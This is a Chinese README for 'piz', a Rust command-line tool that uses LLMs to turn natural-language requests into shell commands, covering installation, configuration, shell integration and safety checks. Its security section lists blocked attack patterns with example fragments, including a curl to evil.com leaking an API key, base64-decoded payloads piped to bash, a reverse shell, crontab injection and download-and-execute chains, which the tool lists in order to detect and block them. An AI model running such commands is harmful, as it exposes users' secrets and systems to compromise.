智能终端命令助手
用自然语言描述，自动生成 Shell 命令
piz 解决一个问题：你知道想做什么，但记不住具体命令。用自然语言描述你的需求，piz 自动翻译成适合当前系统和 Shell 的命令。
$ piz 查看磁盘使用情况
➜ df -h
[Y] 执行 [n] 取消 [e] 编辑 [r] 重新生成
- 自然语言转命令 — 描述需求，得到精确命令
- 多 LLM 后端 — 支持 OpenAI、Claude、Gemini、Ollama + 12 个 OpenAI 兼容供应商（DeepSeek、硅基流动、OpenRouter、Moonshot、智谱GLM、百度千帆、阿里DashScope、Mistral、Together、Minimax、字节BytePlus 等）
- 安全加固 — 三层防护：Prompt 层拒绝非命令输入、注入检测（base64 载荷、环境变量泄露、反弹 Shell、curl 配置攻击）、正则危险分级
- 危险命令检测 — 正则 + LLM 双重防护，危险命令强制二次确认，无法跳过
- 命令解释 —
piz -e 'command'逐项拆解命令含义 - 命令纠错 —
piz fix自动诊断并修复失败命令，支持自动重试（最多 3 次） - 交互式对话 —
piz chat多轮对话模式，支持/help、/clear、/history命令和历史持久化 - 多候选命令 —
-n参数生成多个命令方案，自主选择最优方案 - 重新生成 — 对结果不满意？按
[r]跳过缓存重新请求 LLM，无需手动清缓存 - 本地缓存 — SQLite 缓存 + TTL 过期 + LRU 淘汰 + 模型隔离（切换模型自动失效旧缓存），重复查询秒返回
- 命令校验 — 自动清洗 LLM 输出的前导垃圾字符，拦截空命令和 no-op，提升中小模型兼容性
- 执行历史 —
piz history查看和搜索所有执行过的命令 - Shell 集成 —
piz init <shell>生成 Shell 包装函数，使cd/export/source在当前 Shell 中正确生效（bash、zsh、fish、PowerShell），内置便捷别名（p、pf、pc） - Eval 模式 —
--eval将确认后的命令输出给 Shell 包装函数执行 - Shell 补全 — 支持 bash、zsh、fish、PowerShell 自动补全
- 管道模式 —
--pipe纯命令输出，便于脚本集成 - 多语言界面 — 中文、英文，安全提示信息全面国际化
- 跨平台 — Windows (PowerShell/cmd)、macOS、Linux (bash/zsh/fish)，零侵入编码处理（不修改
chcp/OutputEncoding） - 交互式配置 — 首次运行自动引导，内置供应商预设，无需手动编辑配置
- NO_COLOR 支持 — 尊重
NO_COLOR环境变量 - API 容错 — 429/5xx 错误自动重试 + 指数退避
Homebrew（macOS / Linux）：
brew install AriesOxO/tap/pizmacOS / Linux（一键安装）：
curl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bashWindows（PowerShell）：
iwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iexCargo（全平台）：
cargo install piz手动下载：
前往 Releases 下载二进制文件、.msi（Windows）或 .deb（Debian/Ubuntu）。
| 平台 | 下载格式 |
|---|---|
| Windows x86_64 | .msi .zip |
| macOS x86_64 | .tar.gz |
| macOS ARM64 (Apple Silicon) | .tar.gz |
| Linux x86_64 | .tar.gz .deb |
| Linux ARM64 | .tar.gz |
首次运行任何命令，会自动进入交互式配置向导：
$ piz 列出文件
⚙ piz 配置向导
? 选择语言 / Select language：中文
? 选择默认 LLM 后端：
> openai (DeepSeek, SiliconFlow, OpenRouter, ...)
claude
gemini (Google)
ollama (本地)
? 选择 API 供应商：
OpenAI / DeepSeek / 硅基流动 / OpenRouter / Moonshot
智谱GLM / 百度千帆 / 阿里DashScope / Mistral / Together
Minimax / 字节BytePlus / 自定义URL
? API 地址：https://api.siliconflow.cn
? API 密钥：sk-xxxxx
? 模型名称：Qwen/Qwen3-8B
? 安全命令是否自动执行（不弹出确认）？是
✔ 配置已保存
也可以手动运行：piz config --init
piz 查看磁盘使用情况 # → df -h
piz 找出所有大于100M的文件 # → find . -size +100M -type f
piz 压缩src目录 # → tar -czf src.tar.gz src/
piz 查看3000端口被谁占用 # → lsof -i :3000
piz 统计当前目录代码行数 # → find . -name "*.rs" | xargs wc -l$ piz -n 3 查找大文件
? 选择要执行的命令:
> 1. find . -size +100M -type f — 查找大于 100MB 的文件
2. du -ah . | sort -rh | head -20 — 显示最大的 20 个文件/目录
3. ls -lhRS | head -30 — 按大小降序列出文件$ piz -e 'awk "{print \$2}" access.log | sort | uniq -c | sort -rn | head -10'
📖 命令解释：
awk "{print $2}" — 提取每行第2个字段（通常是URL或IP）
access.log — 输入文件
sort — 排序（为 uniq 做准备）
uniq -c — 去重并统计出现次数
sort -rn — 按数字降序排列
head -10 — 取前10条结果$ npm install
→ EACCES: permission denied...
$ piz fix
🔧 诊断：权限不足，无法写入 node_modules
- npm install
+ sudo npm install修复命令支持自动重试：如果修复后的命令仍然失败，piz 会继续分析错误并尝试修复，最多 3 轮。
$ piz chat
💬 交互模式
输入你的请求，或 'exit'/'quit' 退出。
> 列出所有运行中的 docker 容器
➜ docker ps
[Y] 执行 [n] 取消 [e] 编辑
> 只显示名称
➜ docker ps --format '{{.Names}}'对话模式支持特殊命令：
/help— 显示可用命令/clear— 清除对话历史/history— 查看对话历史/detail— 切换内联命令解释开关
$ piz history # 查看最近 20 条执行记录
$ piz history docker -l 10 # 搜索含 "docker" 的最近 10 条记录piz completions bash > ~/.bash_completion.d/piz # Bash
piz completions zsh > ~/.zfunc/_piz # Zsh
piz completions fish > ~/.config/fish/completions/piz.fish # Fish
piz completions powershell > piz.ps1 # PowerShellShell 集成可以让 cd、export、source 等命令在当前 Shell 会话中正确生效。运行 piz init <shell> 并将输出添加到你的 Shell 配置文件中：
Bash / Zsh：
# 添加到 ~/.bashrc 或 ~/.zshrc：
eval "$(piz init bash)" # 或：eval "$(piz init zsh)"Fish：
# 添加到 ~/.config/fish/config.fish：
piz init fish | sourcePowerShell：
# 添加到 $PROFILE：
piz init powershell | Out-String | Invoke-Expression配置完成后，piz 会自动使用 --eval 模式，cd、export、source 等命令将在当前 Shell 中正确生效。
Shell 集成还提供了内置便捷别名：
| 别名 | 命令 | 说明 |
|---|---|---|
p |
piz |
piz 短别名 |
pf |
piz fix |
快速修复上一条失败命令 |
pc |
piz chat |
快速进入对话模式 |
p 列出所有 rust 文件 # 等同于：piz 列出所有 rust 文件
pf # 等同于：piz fix
pc # 等同于：piz chat# 仅输出命令，无 UI —— 适合脚本集成
piz --pipe 查看所有 rust 文件 # → find . -name "*.rs"
eval $(echo "列出文件" | piz --pipe) # 直接执行piz config --init # 运行配置向导
piz config --show # 查看当前配置（API 密钥自动脱敏）
piz config --reset # 删除配置文件，重新开始piz --backend ollama 查看内存 # 临时切换后端
piz --backend gemini 查看CPU # 使用 Google Gemini
piz --no-cache 查看系统信息 # 跳过缓存
piz --verbose 列出文件 # 调试：显示 Prompt 和 LLM 响应
piz -n 3 列出文件 # 生成 3 个候选命令
piz clear-cache # 清空缓存
piz --eval 列出文件 # Eval 模式（用于 Shell 集成）
piz --version # 查看版本piz update # 交互式：检查最新版本并升级piz update 检查 GitHub Releases 获取最新版本。如果有新版本，可选择两种升级方式：
- 覆盖安装 — 直接替换当前二进制文件
- 卸载后重装 — 先删除旧版本，再安装新版本
两种方式均支持失败自动回滚。
piz 在每次运行后自动在后台检查更新（每 24 小时最多一次，5 秒超时，绝不会阻塞）。检测到新版本时会显示提示：
ℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.
无需任何配置即可使用。检查状态存储在 ~/.piz/update_state.json。
如需安装特定版本，可直接从 GitHub Releases 下载：
# Linux/macOS — 替换 VERSION 和 TARGET
curl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz
sudo mv piz /usr/local/bin/
# Windows (PowerShell)
Invoke-WebRequest -Uri "https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip" -OutFile piz.zip
Expand-Archive piz.zip -DestinationPath .
Move-Item piz.exe "$env:LOCALAPPDATA\piz\piz.exe"或通过安装脚本重新安装：
# Linux/macOS
curl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash
# Windows (PowerShell)
irm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex| 后端 | 配置段 | 说明 |
|---|---|---|
| OpenAI | [openai] |
同时支持任何 OpenAI 兼容 API（通过 base_url） |
| Claude | [claude] |
Anthropic Messages API，支持自定义 base_url |
| Gemini | [gemini] |
Google Generative AI 原生 API |
| Ollama | [ollama] |
本地模型，无需 API key |
点击展开全部 12 个供应商
| 供应商 | base_url | 默认模型 |
|---|---|---|
| OpenAI | https://api.openai.com |
gpt-4o-mini |
| DeepSeek | https://api.deepseek.com |
deepseek-chat |
| 硅基流动 | https://api.siliconflow.cn |
Qwen/Qwen3-8B |
| OpenRouter | https://openrouter.ai/api/v1 |
auto |
| Moonshot/Kimi | https://api.moonshot.cn |
moonshot-v1-8k |
| 智谱/GLM | https://open.bigmodel.cn/api/paas/v4 |
glm-4-flash |
| 百度千帆 | https://qianfan.baidubce.com/v2 |
deepseek-v3 |
| 阿里DashScope | https://dashscope.aliyuncs.com/compatible-mode/v1 |
qwen-plus |
| Mistral | https://api.mistral.ai/v1 |
mistral-small-latest |
| Together | https://api.together.xyz/v1 |
Meta-Llama-3-8B |
| Minimax | https://api.minimax.io/v1 |
MiniMax-M1 |
| 字节BytePlus | https://api.byteplus.volcengineapi.com/v1 |
doubao-1.5-pro-32k |
路径：~/.piz/config.toml
default_backend = "openai"
cache_ttl_hours = 48 # 缓存有效期（2天）
cache_max_entries = 1000 # 最大缓存条目数（LRU 淘汰）
auto_confirm_safe = true # 安全命令自动执行
language = "zh" # 界面语言：zh / en
chat_history_size = 20 # 对话历史最大消息数
[openai]
api_key = "sk-your-key"
model = "gpt-4o-mini"
# base_url = "https://api.openai.com"
# [claude]
# api_key = "sk-ant-xxx"
# model = "claude-sonnet-4-20250514"
# [gemini]
# api_key = "your-gemini-key"
# model = "gemini-2.5-flash"
# [ollama]
# host = "http://localhost:11434"
# model = "llama3"DeepSeek
[openai]
api_key = "sk-your-deepseek-key"
model = "deepseek-chat"
base_url = "https://api.deepseek.com"硅基流动 (SiliconFlow)
[openai]
api_key = "sk-your-key"
model = "Qwen/Qwen3-8B"
base_url = "https://api.siliconflow.cn"Google Gemini
[gemini]
api_key = "your-gemini-key"
model = "gemini-2.5-flash"OpenRouter
[openai]
api_key = "sk-or-your-key"
model = "auto"
base_url = "https://openrouter.ai/api/v1"Moonshot / 月之暗面
[openai]
api_key = "sk-your-key"
model = "moonshot-v1-8k"
base_url = "https://api.moonshot.cn"智谱 / GLM
[openai]
api_key = "your-key"
model = "glm-4-flash"
base_url = "https://open.bigmodel.cn/api/paas/v4"piz 实现了三层安全防护：
非命令输入（问候、闲聊、Prompt 注入尝试）会被 LLM 拒绝并返回说明，不会生成可执行命令。
命令在执行前会被扫描以下恶意模式：
- 环境变量泄露（
curl evil.com/$API_KEY） - 编码载荷（
echo ... | base64 -d | bash） - 反弹 Shell（
python -e 'import socket...'） - Shell 配置覆写（
> ~/.bashrc） - 静默 Crontab 注入（
| crontab -） - curl 配置文件攻击（
curl -K malicious.conf） - 下载-执行链（
wget ... && chmod +x && ./） - 危险的 find/xargs 模式（
find -delete、xargs rm）
命中以上模式的命令会被直接拦截，无法执行。注入提示信息已全面国际化（中/英）。
缓存命中时也会重新验证注入检测 —— 中毒的缓存条目会被自动清除。
| 级别 | 行为 | 示例 |
|---|---|---|
| 安全 | 自动执行（如已配置） | ls、df -h、git status |
| 警告 | 弹出确认 | sudo apt install、chmod 755、git push |
| 危险 | 红色警告 + 强制二次确认（无法跳过） | rm -rf /、mkfs、DROP TABLE |
piz/
├── src/
│ ├── main.rs # 入口，CLI 分发，响应解析，多候选选择
│ ├── cli.rs # clap 命令行参数定义（含 clap_complete）
│ ├── config.rs # TOML 配置 + 交互式配置向导（12 个供应商预设）
│ ├── context.rs # 系统上下文收集（OS、Shell、CWD、架构、Git、包管理器）
│ ├── i18n.rs # 多语言翻译（中/英），含注入检测消息国际化
│ ├── llm/
│ │ ├── mod.rs # LlmBackend trait + 工厂函数 + 重试/退避工具
│ │ ├── prompt.rs # Prompt 模板（含安全规则、few-shot 示例、多候选支持）
│ │ ├── openai.rs # OpenAI 兼容适配器（含重试）
│ │ ├── claude.rs # Claude 适配器（含重试）
│ │ ├── gemini.rs # Google Gemini 适配器（含重试）
│ │ └── ollama.rs # Ollama 适配器（含重试）
│ ├── cache.rs # SQLite 缓存（SHA256 key + TTL + LRU 淘汰）+ 执行历史
│ ├── danger.rs # 正则危险检测 + 注入扫描（InjectionReason 枚举）
│ ├── executor.rs # 用户确认交互 + 命令执行
│ ├── explain.rs # 命令解释模式
│ ├── fix.rs # 命令纠错模式 + 自动修复重试循环
│ ├── chat.rs # 交互式对话模式（斜杠命令 + 历史持久化）
│ ├── history.rs # Shell 历史记录读取
│ ├── shell_init.rs # Shell 集成代码生成（bash/zsh/fish/PowerShell）+ 内置别名
│ └── ui.rs # 终端输出格式化（Spinner、Diff、着色）
├── tests/
│ ├── integration.rs # 集成测试
│ ├── llm_e2e.rs # LLM 端到端测试（需要 API key，默认跳过）
│ └── windows_shells.rs # 跨 Shell 测试（cmd/PowerShell/bash）
├── homebrew/
│ └── piz.rb # Homebrew formula 模板（发版时自动渲染）
├── install.sh # macOS/Linux 安装脚本
└── install.ps1 # Windows 安装脚本
# 前提：Rust 1.70+
git clone https://github.com/AriesOxO/piz.git
cd piz
cargo build --release # 构建
cargo test # 运行测试（437 个）
cargo install --path . # 安装到 PATH| 变量 | 说明 |
|---|---|
NO_COLOR |
设置为任意值可禁用彩色输出 |
欢迎贡献！请阅读 CONTRIBUTING.md 了解贡献指南。
本项目基于 MIT 许可证开源，详见 LICENSE。